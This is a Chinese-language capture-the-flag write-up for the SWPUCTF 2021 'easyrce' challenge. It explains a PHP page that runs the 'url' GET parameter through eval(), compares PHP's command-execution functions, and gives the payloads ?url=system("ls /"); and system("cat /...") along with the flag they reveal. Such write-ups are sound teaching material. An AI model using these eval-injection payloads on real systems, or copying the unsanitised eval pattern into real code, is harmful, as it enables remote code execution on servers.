[SWPUCTF 2021 新生赛]easyrce-解题思路

一、对于题目环境中函数的一些理解：

1. 屏蔽所有报错信息的函数。
    error_reporting(0); 
2. 对文件进行语法高亮显示的函数。
    highlight_file();
3. 环境中重要的代码段。
    if(isset($_GET['url']))   
    #isset函数用来检测url变量是否存在；$_GET函数获取变量数据
    {
    eval($_GET['url']);                                                           
    #eval函数用来执行参数数据，并返回结果，其中字符串当作PHP代码来执行。
    }

二、解题思路：

重要代码段为一中的第3点，我们用来侧重分析。
    if(isset($_GET['url']))   
    {
    eval($_GET['url']);       
    }
if判断语句告诉我们，如果存在url变量则往下面执行eval函数，执行参数并且返回结果。

这里我们需要用到执行外部命令函数（有四种方法）：
知识补充：

1. exec 执行系统外部命令时不会输出结果，而是返回结果的最后一行，如果你想得到结果你可以使用第二个参数，让其输出到指定的数组，此数组一个记录代表输出的一行，即如果输出结果有20行，则这个数组就有20条记录，所以如果你需要反复输出调用不同系统外部命令的结果，你最好在输出每一条系统外部命令结果时清空这个数组，以防混乱。第三个参数用来取得命令执行的状态码，通常执行成功都是返回０。 
    #示例代码：
        <?php
            echo exec("ls",$file);
            echo "</br>";
               `print_r($file);`
            ?>
    #输出结果：
        test.php
        Array( [0] => index.php [1] => test.php)
2.  passthru与system的区别，passthru直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，不返回任何值，且其可以输出二进制，比如图像数据。
    #示例代码：
        <?php
            passthru("ls");
        ?>
    #输出结果：
        index.phptest.php
3.  system和exec的区别在于system在执行系统外部命令时，直接将结果输出到浏览器，不需要使用 echo 或 return 来查看结果，如果执行命令成功则返回true，否则返回false。
    #示例代码：
        <?php
            system("ls /");
        ?>
    #输出结果：
     binbootcgroupdevetchomeliblost+foundmediamntoptprocrootsbinselinuxsrvsystmpusrvar
4.  反撇号和shell_exec()函数实际上仅是反撇号 (`) 操作符的变体。
    #示例代码：
        <?php
            echo `pwd`;
        ?>
    #输出结果：
        /var/www/html

参考地址：https://www.cnblogs.com/gaohj/p/3267692.html

原文链接：

http://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.htmlhttp://www.cszhi.com/20111212/php_exec_system_shell_exec_passthru.html

由此可以得出方法3外部执行命令函数更符合我们题目的要求。

三、开始解题，拿flag：

1. 首先构造payload,并进行url地址重放：

   ?url=system("ls /");
    #?代表拼接
    #ls /代表列出目录文件，学过Linux系统的大部分都有所了解。
    #代码意思是将外部执行命令ls /的结果赋值给url变量，最后在浏览器中显示结果。
    #注意以;英文分号进行闭合。

回显结果：
    bin boot dev etc flllllaaaaaaggggggg home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
    #发现除了flllllaaaaaaggggggg文件以外都为目录文件，所以猜测flllllaaaaaaggggggg文件中可能包含flag信息。
需注意的是：
    ?url=system("ls /"); > ?url=system("ls%20/");
    #我们的代码重放后发生了变化，是因为重放后浏览器自动进行了url编码！

2.使用cat命令查看flllllaaaaaaggggggg文件中的命令，需注意的是文件在/根目录下：
    ?url=system("cat /flllllaaaaaaggggggg");

3、进行重放回显flag：
    NSSCTF{aa00240d-6bef-4dcd-903f-6a2a26809570}